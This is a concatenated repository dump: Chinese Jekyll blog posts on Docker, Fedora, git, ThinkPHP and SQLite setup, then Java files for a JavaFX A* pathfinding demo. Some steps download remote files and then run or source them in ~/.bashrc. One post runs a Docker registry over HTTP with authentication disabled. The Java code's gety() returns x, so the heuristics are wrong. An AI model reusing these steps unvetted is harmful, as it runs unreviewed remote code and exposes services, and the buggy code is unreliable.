整个compose目录结构 ```sh [root@localhost php-nginx-compose]# tree ./ -L 3 ./ ├── docker-compose.yml ├── html │   ├── index.html │   └── phpinfo.php ├── nginx │   └── conf.d │   └── default.conf └── php ├── conf.d │   └── docker-php-ext-xdebug.ini ├── php.ini ├── php.ini-development └── php.ini-production ``` # 打开phpinfo,检查xdebug是否正常安装 ![phpinfo-xdebug](/images/phpinfo-xdebug.jpg)<file_sep>--- layout: post title: docker xfs 卡死 categories: Operation description: 频繁重启docker导致xfs文件系统挂载错误 keywords: Linux, GIT --- docker是一个快速更新的开源项目,今天就碰到一个棘手的问题。运行docker的linux内核出错,docker整个卡死,不接受任何命令,无法停止。 查了下系统日志,发现是文件系统错误。 ```text May 15 09:12:00 localhost dockerd-current: time="2018-05-15T09:12:00.282507381+08:00" level=info msg="Container 86f8559b50d7 failed to exit within 10 seconds of kill - trying direct SIGKILL" May 15 09:12:00 localhost kernel: XFS (dm-18): Unmounting Filesystem ``` 借助万能的google,发现docker在xfs文件系统中确实会出现这种现象。过于频繁create/destory container、pull/push image,当thin pool满时,DeviceMapper后端默认文件系统xfs会不断retry 失败的IO,导致进程挂起。 解决方法有两个: 1、不用xfs文件系统 2、加入启动参数 dm.xfs_nospace_max_retries=0 对于加入启动参数这件事,docker官方文档也有说明 [https://docs.docker.com/engine/reference/commandline/dockerd/](https://docs.docker.com/engine/reference/commandline/dockerd/){:target="_blank"} ```text By default XFS retries infinitely for IO to finish and this can result in unkillable process. To change this behavior one can set xfs_nospace_max_retries to say 0 and XFS will not retry IO after getting ENOSPC and will shutdown filesystem. Example $ sudo dockerd --storage-opt dm.xfs_nospace_max_retries=0 ``` 新版本的docker可以通过修改 /etc/docker/daemon.json 改变启动参数。 ```json { "storage-driver": "devicemapper", "storage-opts": [ "dm.xfs_nospace_max_retries=0" ] } ```<file_sep>--- layout: post title: Fedora 添加快捷方式 categories: 日常操作 description: Fedora 添加快捷方式 keywords: Fedora --- Fedora增加快捷方式很简单,只需增加一个文件就可以了。Fedora开始菜单的快捷方式都存放在这个目录 ```text /usr/share/applications ``` 新增文件pycharm.desktop,内容如下: ```text [Desktop Entry] Name=PyCharm GenericName=pycharm ide Exec=/usr/local/pycharm/bin/pycharm.sh Icon=/usr/local/pycharm/bin/pycharm.png Terminal=false Type=Application Categories=Development; ``` Name:快捷方式名称 GenericName:说明 Exec:程序位置 Icon:图标位置 Terminal:是否从终端运行 Type:类型 Categories:存放在哪个分类<file_sep>--- layout: post title: 让GIT打印中文文件名 categories: Develop description: 让GIT打印中文文件名 keywords: Linux, GIT --- GIT对于非ASCII的文件名,GIT是默认打印八进制。 把它关了,你就能看到可爱的中文了 #### 执行如下GIT配置 ```bash git config [--global] core.quotepath off ```<file_sep>--- layout: post title: Fedora Sublime3 中文输入 categories: Develop description: Fedora Sublime3 中文输入 keywords: Linux, Fedora, Sublime --- Fedora安装sublime3无法输入中文,应该困扰了不少人。 一个原因是Fedora自带的输入框架iBus不支持,第二个是sublime3原生不支持,得弄个共享库。 #### 1、卸载iBus,安装Fcitx。 ```bash dnf remove ibus dnf install fcitx fcitx-pinyin fcitx-configtool fcitx-cloudpinyin im-chooser fcitx-libpinyin ``` 安装完,别忘了注销后重新登录 #### 2、编译sublime-imfix共享库 新建 sublime-imfix.c 文件,内容如下 ```text /* sublime-imfix.c Use LD_PRELOAD to interpose some function to fix sublime input method support for linux. By <NAME> gcc -shared -o libsublime-imfix.so sublime-imfix.c `pkg-config --libs --cflags gtk+-2.0` -fPIC LD_PRELOAD=./libsublime-imfix.so subl */ #include <gtk/gtk.h> #include <gdk/gdkx.h> typedef GdkSegment GdkRegionBox; struct _GdkRegion { long size; long numRects; GdkRegionBox *rects; GdkRegionBox extents; }; GtkIMContext *local_context; void gdk_region_get_clipbox (const GdkRegion *region, GdkRectangle *rectangle) { g_return_if_fail (region != NULL); g_return_if_fail (rectangle != NULL); rectangle->x = region->extents.x1; rectangle->y = region->extents.y1; rectangle->width = region->extents.x2 - region->extents.x1; rectangle->height = region->extents.y2 - region->extents.y1; GdkRectangle rect; rect.x = rectangle->x; rect.y = rectangle->y; rect.width = 0; rect.height = rectangle->height; //The caret width is 2; //Maybe sometimes we will make a mistake, but for most of the time, it should be the caret. if(rectangle->width == 2 && GTK_IS_IM_CONTEXT(local_context)) { gtk_im_context_set_cursor_location(local_context, rectangle); } } //this is needed, for example, if you input something in file dialog and return back the edit area //context will lost, so here we set it again. static GdkFilterReturn event_filter (GdkXEvent *xevent, GdkEvent *event, gpointer im_context) { XEvent *xev = (XEvent *)xevent; if(xev->type == KeyRelease && GTK_IS_IM_CONTEXT(im_context)) { GdkWindow * win = g_object_get_data(G_OBJECT(im_context),"window"); if(GDK_IS_WINDOW(win)) gtk_im_context_set_client_window(im_context, win); } return GDK_FILTER_CONTINUE; } void gtk_im_context_set_client_window (GtkIMContext *context, GdkWindow *window) { GtkIMContextClass *klass; g_return_if_fail (GTK_IS_IM_CONTEXT (context)); klass = GTK_IM_CONTEXT_GET_CLASS (context); if (klass->set_client_window) klass->set_client_window (context, window); if(!GDK_IS_WINDOW (window)) return; g_object_set_data(G_OBJECT(context),"window",window); int width = gdk_window_get_width(window); int height = gdk_window_get_height(window); if(width != 0 && height !=0) { gtk_im_context_focus_in(context); local_context = context; } gdk_window_add_filter (window, event_filter, context); } ``` 编译共享库,生成libsublime-imfix.so文件 ```bash gcc -shared -o libsublime-imfix.so sublime-imfix.c `pkg-config --libs --cflags gtk+-2.0` -fPIC ``` 生成完后,可以把文件拷贝到sublime程序所在的目录, 这样就不会丢了 #### 3、新建命令 /usr/local/bin/sublime3 ```bash #!/bin/bash LD_PRELOAD=/usr/local/sublime_text_3/libsublime-imfix.so /usr/local/sublime_text_3/sublime_text ``` 保存后,就可以直接用sublime3命令启动了。我们还可以新建快捷方式,这样就不用每次都从命令行启动了。 #### 4、新建快捷方式 新建文件 /usr/share/applications/sublime_text.desktop,内容如下: ```text [Desktop Entry] Version=1.0 Type=Application Name=Sublime Text GenericName=Text Editor Comment=Sophisticated text editor for code, markup and prose Exec=sublime3 Terminal=false MimeType=text/plain; Icon=/usr/local/sublime_text_3/Icon/128x128/sublime-text.png Categories=TextEditor;Development; StartupNotify=true Actions=Window;Document; [Desktop Action Window] Name=New Window Exec=/opt/sublime_text/sublime_text -n OnlyShowIn=Unity; [Desktop Action Document] Name=New File Exec=/opt/sublime_text/sublime_text --command new_file OnlyShowIn=Unity; ``` <file_sep>--- layout: post title: docker安装及常用脚本 categories: Operation description: docker安装及常用脚本 keywords: Linux, docker --- #### Centos安装docker的命令 ```bash $ yum install docker ``` #### 安装docker compose 最新的docker compose 安装命令可以从以下网站找到 [https://github.com/docker/compose/releases](https://github.com/docker/compose/releases){:target="_blank"} 下面是个示例: ```bash $ curl -L https://github.com/docker/compose/releases/download/1.17.1/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose $ chmod +x /usr/local/bin/docker-compose ``` #### 安装docker常用脚本 下面这段脚本用来安装流行的docker辅助命令,里面就包括了经常要用到的docker enter ```bash $ wget -P ~ https://github.com/yeasy/docker_practice/raw/master/_local/.bashrc_docker $ echo "[ -f ~/.bashrc_docker ] && . ~/.bashrc_docker" >> ~/.bashrc; source ~/.bashrc ``` 原版的脚本有错误,在新版的docker ce中获取pid会出错,下面是修改过的脚本,请下载后保存为 ~/.bashrc_docker [.bashrc_docker]({{ site.url }}/downloads/bashrc_docker) #### 采用国内镜像加速 修改 /etc/docker/daemon.json 文件,增加镜像地址 ```text { "registry-mirrors": ["https://registry.docker-cn.com"] } ``` #### 打开系统的ip_forward 如果你没有执行这个操作,那docker的端口映射是没有效果的。 具体操作可以参考这篇文章 [http://www.yucanlin.cn/2017/10/18/docker-ports-%E7%AB%AF%E5%8F%A3%E6%98%A0%E5%B0%84%E5%A4%B1%E8%B4%A5/](http://www.yucanlin.cn/2017/10/18/docker-ports-%E7%AB%AF%E5%8F%A3%E6%98%A0%E5%B0%84%E5%A4%B1%E8%B4%A5/){:target="_blank"} <file_sep>--- layout: post title: linux创建大文件 categories: Operation description: linux创建大文件 keywords: linux --- Linux创建大文件主要有三种方式。 # 使用DD命令 dd命令,可以从标准输入或指定的文件中读取数据,拷贝至新文件。 示例:创建1G的文件,写入0,大小是1G ```sh dd if=/dev/zero of=my_new_file count=1 bs=1G ``` dd写入是很慢的,取决于磁盘的写入速度,它是真的有往磁盘写数据。 dd还有一个seek的参数,可以指定游标的位置,从而创建稀疏文件,就是直接写个文件结束符就完事了。这样的文件,用ls查是很大,用du查就很小了。因为它本质上不占用磁盘空间。 示例:创建100G的文件 ```sh dd if=/dev/zero of=my_new_file count=0 bs=1G seek=100G ``` # 使用truncate命令 这个命令创建的也是稀疏文件,实际不占用磁盘空间。 示例:创建100G的文件 ```sh truncate -s 100G my_new_file ``` # 使用fallocate命令 这个命令会保留你想要的空间,但不会往磁盘写入任何东西,执行速度还是相当快的。用du查看能发现它的确占用了磁盘空间。 示例:创建100G的文件 ```sh fallocate -l 100G my_new_file ```<file_sep>--- layout: post title: git忽略权限变更 categories: Develop description: git忽略权限变更 keywords: git --- 默认情况下,对文件权限的更改也会被git跟踪。即使文件内容没有变化,也会被定义成modify。我们可以通过配置项来让git忽略权限变更。 ```sh git config core.filemode false ``` 注意,这个操作有全局命令,但不会对以存在的项目有效。只有新建项目的时候会生效。所以对已存在的项目,请逐一执行上面这条指令。 <file_sep>--- layout: post title: thinkphp5.1 pdomysql 允许使用同名的参数 categories: Develop description: 通过修改pdo mysql连接参数,允许参数绑定的时候,出现同名的占位符。 keywords: thinkphp, mysql, pdo, bind param --- 本文说明的是如何在thinkphp5.1通过修改pdo mysql连接参数,最终实现参数绑定的时候允许使用同名参数。 # pdomysql 默认不支持绑定相同的参数名 如果参数名不一样,默认配置下是没有问题的 ```php // 预处理 SQL 并绑定参数 正确示例 $sql = 'SELECT name, colour, calories FROM fruit WHERE calories < :calories AND colour = :colour'; $sth->execute(array(':calories' => 150, ':colour' => 'red')); ``` 如果采用同名的参数,默认配置就会报错 ```php // 预处理 SQL 并绑定参数 默认配置下报错,可通过修改连接参数允许该操作 $sql = 'SELECT name, colour, calories FROM fruit WHERE colourA = :colour and colourB = :colour'; $sth->execute(array(':colour' => 'red')); ``` # 添加连接参数支持绑定相同的参数名 ## 修改连接参数的原生代码 ```php <?php $db = new PDO('mysql:host=myhost;dbname=mydb', 'login', 'password', array(PDO::ATTR_EMULATE_PREPARES => true)); ?> ``` ## 在thinkphp5.1修改连接参数 参考[官方文档](https://www.kancloud.cn/manual/thinkphp5_1/353998)连接参数那一节。 在 /config/database.php 里的params增加一个项目 ```php <?php return [ // 数据库类型 'type' => 'mysql', // 服务器地址 'hostname' => '127.0.0.1', // 数据库名 'database' => 'ihu', // 用户名 'username' => 'root', // 密码 'password' => '<PASSWORD>', // 端口 'hostport' => '3306', // 连接dsn 'dsn' => '', // 数据库连接参数 'params' => [ \PDO::ATTR_EMULATE_PREPARES => true ], ] ``` # 应用案例 下面代码摘自我的个人项目,里面使用了model做查询,用DB原生查询也是一个道理。 这段代码使用一组geohash跟数据库中的geohash进行对比,每次都是各取前N位,用来确定他们是否属于同个区域。 关于geohash的原理,可以参考我的另一篇文章。 ```php function filterGeohash($geohash, $geohashNeighbors, $topN) { $list = DrugStoreModel::where( 'LEFT(geohash, :topN) = LEFT(:geohash, :topN) or LEFT(geohash, :topN) = LEFT(:North, :topN) or LEFT(geohash, :topN) = LEFT(:NE, :topN) or LEFT(geohash, :topN) = LEFT(:East, :topN) or LEFT(geohash, :topN) = LEFT(:SE, :topN) or LEFT(geohash, :topN) = LEFT(:South, :topN) or LEFT(geohash, :topN) = LEFT(:SW, :topN) or LEFT(geohash, :topN) = LEFT(:West, :topN) or LEFT(geohash, :topN) = LEFT(:NW, :topN)', [ 'topN' => $topN, 'geohash' => $geohash, 'North' => $geohashNeighbors['North'], 'NE' => $geohashNeighbors['NorthEast'], 'East' => $geohashNeighbors['East'], 'SE' => $geohashNeighbors['SouthEast'], 'South' => $geohashNeighbors['South'], 'SW' => $geohashNeighbors['SouthWest'], 'West' => $geohashNeighbors['West'], 'NW' => $geohashNeighbors['NorthWest'] ]) ->hidden(['id', 'search_content'])->select(); return $list; } ``` 哦,对了。如果你把上面代码中的:NE换成:NorthEast,或者把:SE换成:SouthEast,保证你Debug到怀疑人生。 这是thinkphp5.1标签转换的一个bug,因为已经有North这个参数,像NorthEast,NorthWest,NorthABC这些前缀一样的参数都会引起混乱。<file_sep>--- layout: categories home-title: 一年四季 description: 不以物喜,不以己悲,感时花溅泪,恨别鸟惊心 permalink: /categories.html cover: 'https://images.unsplash.com/photo-1682007049179-ea0223283a90' cover_author: '<NAME>' cover_author_link: 'https://unsplash.com/@pramodtiwari' ---<file_sep>--- layout: post title: CentOS7安装DockerCE categories: Operation description: CentOS7安装DockerCE keywords: Linux, Docker --- DockerCE是新版本的Docker,由于晚于CentOS7发布,所以并不在官方仓库里,这里采用官方文档的做法,通过加入新的yum仓库来安装docker-ce。 官方文档地址:[https://docs.docker.com/install/linux/docker-ce/centos/#upgrade-docker-ce](https://docs.docker.com/install/linux/docker-ce/centos/#upgrade-docker-ce) #### 1、安装yum工具 ```sh $ sudo yum install -y yum-utils \ device-mapper-persistent-data \ lvm2 ``` #### 2、下载docker-ce仓库 ```sh $ sudo yum-config-manager \ --add-repo \ https://download.docker.com/linux/centos/docker-ce.repo ``` #### 3、安装docker-ce ```sh $ sudo yum install docker-ce ```<file_sep>--- layout: sw ---<file_sep>--- layout: post title: 安装Docker Registry categories: Operation description: 安装Docker Registry keywords: Linux, Docker --- 要将docker应用于项目部署,肯定少不了私有仓库。总不能整天把images文件copy来copy去吧,太麻烦了。 #### 编辑docker-compose文件 新建文件夹registry-compose, 在里面新建文件 docker-compose.yml 内容如下: ```yaml version: '2' services: registry: image: registry:2 ports: - "5000:5000" volumes: - /etc/localtime:/etc/localtime:ro - ./registry:/var/lib/registry environment: - TZ=Asia/Shanghai - REGISTRY_STORAGE_DELETE_ENABLED=true container_name: registry registry-web: image: hyper/docker-registry-web ports: - "8000:8080" volumes: - /etc/localtime:/etc/localtime:ro environment: - TZ=Asia/Shanghai - REGISTRY_AUTH_ENABLED=false - REGISTRY_URL=http://registry-srv:5000/v2 - REGISTRY_READONLY=false links: - "registry:registry-srv" container_name: registry-web ``` #### 启用http协议 Docker registry默认使用https,官方也建议使用https,不过我搞不定,所以得启用http。 编辑 /etc/docker/daemon.json 文件,加入 ```json { "insecure-registries" : ["myregistrydomain.com:5000"] } ``` 配置完别忘了重启Docker ```bash $ systemctl daemon-reload $ systemctl restart docker ``` #### 启动registry及对应的管理界面 ```bash $ docker-compose up -d ``` 启动完后,私有仓库运行在5000端口,管理界面运行在8000端口,仓库文件存放在 registry-compose/registry #### 上传镜像示例 ##### 下载镜像 ```bash $ docker pull ubuntu ``` ##### 重新打标签 ```bash $ docker tag ubuntu localhost:5000/myfirstimage ``` ##### 上传镜像 ```bash $ docker push localhost:5000/myfirstimage ``` #### 查看仓库内容 打开浏览器 http://localhost:8000 #### 清理仓库 通过管理界面可以delete镜像,不过这个操作只是删除对应的标签而已,实际内容并没有删除。 可以进入容器,执行如下命令对没有用的blobs进行清理 ```bash $ registry garbage-collect /etc/docker/registry/config.yml ```<file_sep>--- layout: post title: 升级python的sqlite版本 categories: Operation description: 升级python的sqlite版本 keywords: Linux, Python, Sqlite --- 如果之前有用yum安装过,需要先删除yum的版本 ```sh yum remove sqlite3 ``` 从sqlite官网下载源代码 sqlite-autoconf-3270200.tar.gz [https://www.sqlite.org/download.html](https://www.sqlite.org/download.html) ```sh tar -xvf sqlite-autoconf-3270200.tar.gz cd sqlite-autoconf-3270200 ./configure make && make install ``` 测试安装结果 ```sh # sqlite3 SQLite version 3.26.0 2018-12-01 12:34:55 Enter ".help" for usage hints. Connected to a transient in-memory database. Use ".open FILENAME" to reopen on a persistent database. sqlite> Ctrl+D 退出 ``` 如果没有效果,把sqlite-autoconf-3270200/sqlite3 复制到 /usr/bin/sqlite3 就可以了 # 重新编译Python3 ```sh cd Python-3.7.2 LD_RUN_PATH=/usr/local/lib ./configure LDFLAGS="-L/usr/local/lib" CPPFLAGS="-I/usr/local/include" LD_RUN_PATH=/usr/local/lib make make install ``` 在执行编译前加入/usr/local/的路径,这样就能找到你新安装的sqlite3了,不然它还是会用系统的就版本。 测试安装结果 ```sh [root@bogon charlieyu.github.io]# python3 Python 3.7.2 (default, Mar 21 2019, 10:09:12) [GCC 8.3.1 20190223 (Red Hat 8.3.1-2)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import sqlite3 >>> sqlite3.sqlite_version '3.26.0' >>> Ctrl+D 退出 ``` <file_sep>--- layout: post title: nginx下部署thinkphp5.1 categories: Develop description: nginx下部署thinkphp5.1,修正路径重定向的问题 keywords: thinkphp, php, nginx --- 按照要求,部署的时候只开放/public目录的访问。需要打开重定向,apache2的话,因为官方已经提供了.htaccess,启用mod_rewrite就可以了。 关于在nginx下的重定向问题,在[官方文档](https://www.kancloud.cn/manual/thinkphp5_1/353955)URL设计中有说明。 下面是那个重定向的关键配置,摘录自官方文档。 ```text location / { // …..省略部分代码 if (!-e $request_filename) { rewrite ^(.*)$ /index.php?s=/$1 last; } } ``` 请特别留意这段配置中有一个```s=/$1```,在/thinkphp/convention.php中可以找到如下代码 ```php // PATHINFO变量名 用于兼容模式 'var_pathinfo' => 's', ``` 一开始也是没搞清楚,被坑了好久。<file_sep>--- layout: post title: 新家 categories: Something description: 博客搬新家 keywords: 日常 --- 博客搬新家,听说github page 好有爱 free and fast <file_sep>--- layout: post title: Windows共享wifi categories: 日常操作 description: Windows共享wifi keywords: Windows, wifi --- 之前使用猎豹免费Wifi这样的工具来实现共享wifi,得装个软件,比较麻烦。win10自带了无线热点的功能,可以直接使用。 #### 1、启用hostednetwork ```sh netsh wlan set hostednetwork mode=allow ssid=JayFan key=12345678 ``` #### 2、配置适配器共享网络 在网络与共享中心,选择一个正常联网的网卡,配置共享网络 ![共享Wifi](/images/共享wifi.jpg) #### 3、启用共享wifi ```sh netsh wlan start hostednetwork ``` <file_sep>--- layout: post title: docker posts 端口映射失败 categories: Operation description: docker posts 端口映射失败 keywords: Linux, Docker --- docker映射端口的命令是 -p 比如可以用如下命令将容器的8080端口映射到主机的80端口。 ```bash $ docker run -p 80:8080 tomcat ``` 不过端口映射生效的前提是,系统必须启用ip_forward。 #### 1、编辑 /etc/sysctl.conf 文件,加入 ```text net.ipv4.ip_forward=1 ``` #### 3、立即生效 ```bash $ sysctl -p /etc/sysctl.conf ``` #### 3、检查是否生效 ```bash $ sysctl net.ipv4.ip_forward net.ipv4.ip_forward = 1 ``` #### 4、重启Docker ```bash $ service docker restart ``` 结束 > 题外: 如果你使用了firwalld, 可以通过打开asquerade达到相同的目的 ```bash $ firewall-cmd --add-masquerade $ firewall-cmd --add-masquerade --permanent $ firewall-cmd --list-all FedoraWorkstation (active) target: default icmp-block-inversion: no interfaces: ens33 sources: services: dhcpv6-client ssh samba-client mdns ports: 1025-65535/udp 1025-65535/tcp protocols: masquerade: yes forward-ports: source-ports: icmp-blocks: rich rules: ```
e224e90c6dc792c7627d880ba23207f323f0e108
[ "Markdown", "JavaScript", "HTML", "Ruby" ]
52
Markdown
charlieyu/charlieyu.github.io
25d6a1cf8a0f9436e726dc5b82d974986dd2cd1b
01575a1c282e351ad70abc43f3373879ed590434
refs/heads/master
<file_sep>// const name = 'smit'; // console.log(name); function greet (name) { var nm = name; console.log('hello,', nm); } greet('smit'); greet('heema');<file_sep>const {people, ages} = require('./people'); console.log(people); console.log(ages);<file_sep>const people = ['smit', 'maulik', 'keyur', 'dvs']; const ages = [28, 32, 45,20]; module.exports = {people, ages};<file_sep>const fs = require('fs'); const readStream = fs.createReadStream('./docs/doc3.txt') const writeStream = fs.createWriteStream('./docs/doc4.txt'); readStream.on('data', (chunk) => { console.log('----- new Chunk-----'); console.log(chunk.toString()); writeStream.write('\n new chunk \n'); writeStream.write(chunk.toString()); })
d10eabc1630e574317d39dabac85a39467c63687
[ "JavaScript" ]
4
JavaScript
smitp1597/blog-app
e483f5857e2b1f368d1d1f208acf7b91ee9b633a
bcef2aef4848f4d6d181a709f3e2d94c0d06c1b5
refs/heads/master
<file_sep>export declare const getResourceTiming: () => PerformanceEntry[]; <file_sep>export default function objectToFormData(obj: object) { const formdata = new FormData() Object.keys(obj).forEach(key => { formdata.append(key, JSON.stringify(obj[key])) }) return formdata } <file_sep>export interface ICreateInspectorConfig { server: string; appId: string; } export declare const beaconApi: { performanceTiming: string; }; export default function createInspector(inspectorConfig: ICreateInspectorConfig): void; <file_sep># inspector # inspector <file_sep>export const getResourceTiming = () => { return performance.getEntriesByType('resource').filter(item => { if (item.name.includes('monitor_ignore=true')) { return false } return true }) } <file_sep>export { default as createInspector } from './create-inspector'; <file_sep>import { createEventHandler } from './push-event' import { getNavigationTiming } from './utils/get-navigation-timing' import { getResourceTiming } from './utils/get-resource-timing' export interface ICreateInspectorConfig { server: string appId: string } export default function createInspector(inspectorConfig: ICreateInspectorConfig) { const { server, appId } = inspectorConfig const eventHandler = createEventHandler(server, appId) const nativeError = console.error console.error = (message, ...restOptions) => { nativeError(message, ...restOptions) eventHandler.push('error', { type: 'console_error', message, }) } const nativeWarn = console.warn console.warn = (message, ...restOptions) => { nativeWarn(message, ...restOptions) eventHandler.push('error', { type: 'console_error', message, }) } window.addEventListener('unhandledrejection', function(e) { const { message, stack } = e.reason eventHandler.push('error', { type: 'promise_error', message, stack, }) }) window.addEventListener( 'error', event => { const { message, filename, lineno, colno, error } = event eventHandler.push('error', { type: 'window_error', message, filename, lineno, colno, stack: error.stack, }) }, true ) window.onload = () => { eventHandler.push('nav_timing', getNavigationTiming()) eventHandler.push('resource_timing', getResourceTiming()) } } <file_sep>export declare const getNavigationTiming: () => PerformanceTiming | PerformanceEntry; <file_sep>export interface ICreateInspectorConfig { server: string; appId: string; } export default function createInspector(inspectorConfig: ICreateInspectorConfig): void; <file_sep>export function createEventHandler(server: string, appId: string) { return { push: (name: string, payload: object) => { const beaconData = new FormData() beaconData.append('appId', appId) beaconData.append('name', name) beaconData.append('record', JSON.stringify(payload)) beaconData.append('timestamp', String(Date.now())) navigator.sendBeacon(server + '/beacon?monitor_ignore=true', beaconData) }, } } <file_sep>export default function objectToFormData(obj: object): FormData; <file_sep>export const getNavigationTiming = () => { // experimental API, IE is not supported const navigationPf = window.performance.getEntriesByType('navigation') if (navigationPf.length) { return navigationPf[0] // if not supported, use timing api. } else return window.performance.timing } <file_sep>export declare function createEventHandler(server: string, appId: string): { push: (name: string, payload: object) => void; };
4438a0a74985951892255f32e6f6ac2e2db07203
[ "Markdown", "TypeScript" ]
13
TypeScript
web-pf/inspector
5241bd62b777b5af41c0afa37d49ae336f438816
e035103dc8e893417495052fbd001638a632cdbf
refs/heads/master
<repo_name>Freggan/Portfolio-3<file_sep>/AStarGraph.java package sample; import java.util.ArrayList; import java.util.PriorityQueue; import static java.lang.Math.abs; import static java.lang.Math.pow; import static java.lang.Math.sqrt; public class AStarGraph { private ArrayList<Vertex> vertices; public AStarGraph() { vertices=new ArrayList<Vertex>(); } public void addvertex(Vertex v) { vertices.add(v); } public void newconnection(Vertex v1, Vertex v2, Double dist) { v1.addOutEdge(v2,dist); v2.addOutEdge(v1,dist); } public boolean A_Star(Vertex start, Vertex destination,Boolean Manhat) { if (start==null || destination==null) return false; PriorityQueue<Vertex> Openlist = new PriorityQueue<Vertex>(); ArrayList<Vertex> Closedlist = new ArrayList<Vertex>(); Openlist.offer(start); Vertex Current; ArrayList<Vertex> CurrentNeighbors; ArrayList<Double> CurrentNeighborsDistance; Vertex Neighbor; //Initialize h with chosen heuristic if(Manhat) { for (int i = 0; i < vertices.size(); i++) { vertices.get(i).seth(Manhattan(vertices.get(i), destination)); } } else { for (int i = 0; i < vertices.size(); i++) { vertices.get(i).seth(Euclidean(vertices.get(i), destination)); } } start.setg(0.0); start.calculatef(); //Start algorithm System.out.println("Start Algorithm"); Current=start; while (Current.getid()!=destination.getid()) { CurrentNeighbors=Current.getNeighbours(); CurrentNeighborsDistance=Current.getNeighbourDistance(); for (int i=0;i<CurrentNeighbors.size();i++) { Neighbor=CurrentNeighbors.get(i); if ((!Closedlist.contains(Neighbor)) && (!Openlist.contains(Neighbor))) { Neighbor.setg(Current.getg() + CurrentNeighborsDistance.get(i)); Openlist.offer(Neighbor); } if((Current.getg()+CurrentNeighborsDistance.get(i)+Neighbor.geth()) < Neighbor.getf()) { Neighbor.setg(Current.getg() + CurrentNeighborsDistance.get(i)); Neighbor.calculatef(); Neighbor.setPrev(Current); } } if (!Openlist.isEmpty()) { Closedlist.add(Current); Current = Openlist.poll(); } else{return false;} } return true; } public Double Manhattan(Vertex from,Vertex goal){ return Double.valueOf(abs(from.getx() - goal.getx()) + abs(from.gety() - goal.gety())); } public Double Euclidean(Vertex from,Vertex to){ return (sqrt ( pow(from.getx()-to.getx(),2) + pow(from.gety()-to.gety(),2))); } } class Vertex implements Comparable<Vertex>{ private String id; private ArrayList<Vertex> Neighbours=new ArrayList<Vertex>(); private ArrayList<Double> NeighbourDistance =new ArrayList<Double>(); private Double f; private Double g; private Double h; private Integer x; private Integer y; private Vertex prev =null; public Vertex(String id, int x_cor,int y_cor){ this.id=id; this.x=x_cor; this.y = y_cor; f=Double.POSITIVE_INFINITY; g=Double.POSITIVE_INFINITY; h=0.0; } public void addOutEdge(Vertex toV, Double dist){ Neighbours.add(toV); NeighbourDistance.add(dist); } public ArrayList<Vertex> getNeighbours(){ return Neighbours; } public ArrayList<Double> getNeighbourDistance(){ return NeighbourDistance; } public String getid(){ return id;}; public Integer getx(){ return x; } public Integer gety(){return x; } public Double getf() { return f; } public void calculatef(){ f=g+h; } public Double getg() { return g; } public void setg(Double newg){ g=newg; } public Double geth(){ return h; } public void seth(Double estimate){ h=estimate; } public Vertex getPrev() { return prev; } public void setPrev(Vertex v){prev=v;} public void printVertex(){ System.out.println(id + " g: "+g+ ", h: "+h+", f: "+f); } @Override public int compareTo(Vertex o) { if (o.getf()==f){return 0;} if (o.getf()<f){return 1;} else{return -1;} } } <file_sep>/Controller.java package sample; import javafx.event.ActionEvent; import javafx.fxml.FXML; import javafx.scene.control.*; import javafx.scene.text.*; import java.io.*; import java.util.Stack; public class Controller { @FXML ChoiceBox OriginPick = new ChoiceBox(); @FXML ChoiceBox DestinationPick = new ChoiceBox(); @FXML ChoiceBox HeuristicPick = new ChoiceBox(); @FXML Button Run = new Button(); @FXML TextArea Results = new TextArea(); public void buttonPressRun(ActionEvent event) { Boolean Manhat; if(HeuristicPick.getValue() == "Manhattan") { Manhat = true; } else { Manhat = false; } AStarGraph MyMaze = new AStarGraph(); Vertex x=new Vertex("x",0,0); Vertex y=new Vertex("y",0,0); Vertex A=new Vertex("A",0,4); Vertex B=new Vertex("B",1,7); Vertex C=new Vertex("C",4,0); Vertex D=new Vertex("D",3,7); Vertex E=new Vertex("E",3,3); Vertex F=new Vertex("F",6,6); Vertex G=new Vertex("G",7,2); Vertex H=new Vertex("H",8,7); Vertex I=new Vertex("I",9,2); Vertex J=new Vertex("J",11,5); MyMaze.addvertex(A); MyMaze.addvertex(B); MyMaze.addvertex(C); MyMaze.addvertex(D); MyMaze.addvertex(E); MyMaze.addvertex(F); MyMaze.addvertex(G); MyMaze.addvertex(H); MyMaze.addvertex(I); MyMaze.addvertex(J); MyMaze.newconnection(A,B,3.41); MyMaze.newconnection(A,C,6.82); MyMaze.newconnection(B,D,2.00); MyMaze.newconnection(C,G,4.41); MyMaze.newconnection(C,I,4.82); MyMaze.newconnection(D,E,4.00); MyMaze.newconnection(E,F,6.23); MyMaze.newconnection(F,G,4.41); MyMaze.newconnection(F,H,3.82); MyMaze.newconnection(G,H,5.41); MyMaze.newconnection(G,I,2.82); MyMaze.newconnection(H,J,4.41); MyMaze.newconnection(I,J,3.82); if(OriginPick.getValue().equals("A")) { x = A; } else if(OriginPick.getValue().equals("B")) { x = B; } else if(OriginPick.getValue().equals("C")) { x = C; } else if(OriginPick.getValue().equals("D")) { x = D; } else if(OriginPick.getValue().equals("E")) { x = E; } else if(OriginPick.getValue().equals("F")) { x = F; } else if(OriginPick.getValue().equals("G")) { x = G; } else if(OriginPick.getValue().equals("H")) { x = H; } else if(OriginPick.getValue().equals("I")) { x = I; } else { x = J; } if(DestinationPick.getValue().equals("A")) { y = A; } else if(DestinationPick.getValue().equals("B")) { y = B; } else if(DestinationPick.getValue().equals("C")) { y = C; } else if(DestinationPick.getValue().equals("D")) { y = D; } else if(DestinationPick.getValue().equals("E")) { y = E; } else if(DestinationPick.getValue().equals("F")) { y = F; } else if(DestinationPick.getValue().equals("G")) { y = G; } else if(DestinationPick.getValue().equals("H")) { y = H; } else if(DestinationPick.getValue().equals("I")) { y = I; } else { y = J; } if(MyMaze.A_Star(x,y,Manhat)) { String message = "Found a path: \n" ; Vertex pvertex=y; Stack<Vertex> Path = new Stack(); int limit=0; while (pvertex!=null) { Path.push(pvertex); pvertex=pvertex.getPrev(); } if(!Path.isEmpty()) limit =Path.size(); for(int i=0;i<limit-1;i++) message = message + Path.pop().getid() +" - > "; if (limit>0) message = message + Path.pop().getid(); Results.setText(message); } else Results.setText("DID NOT FIND A PATH!!"); } }
8f61c53530db9f2e431c514893cc8635dc494f20
[ "Java" ]
2
Java
Freggan/Portfolio-3
a24774e522ed581caa35013b54a216bdd5a23293
079494df1e3be7eee17f5d93ecd1e311bf80eead
refs/heads/master
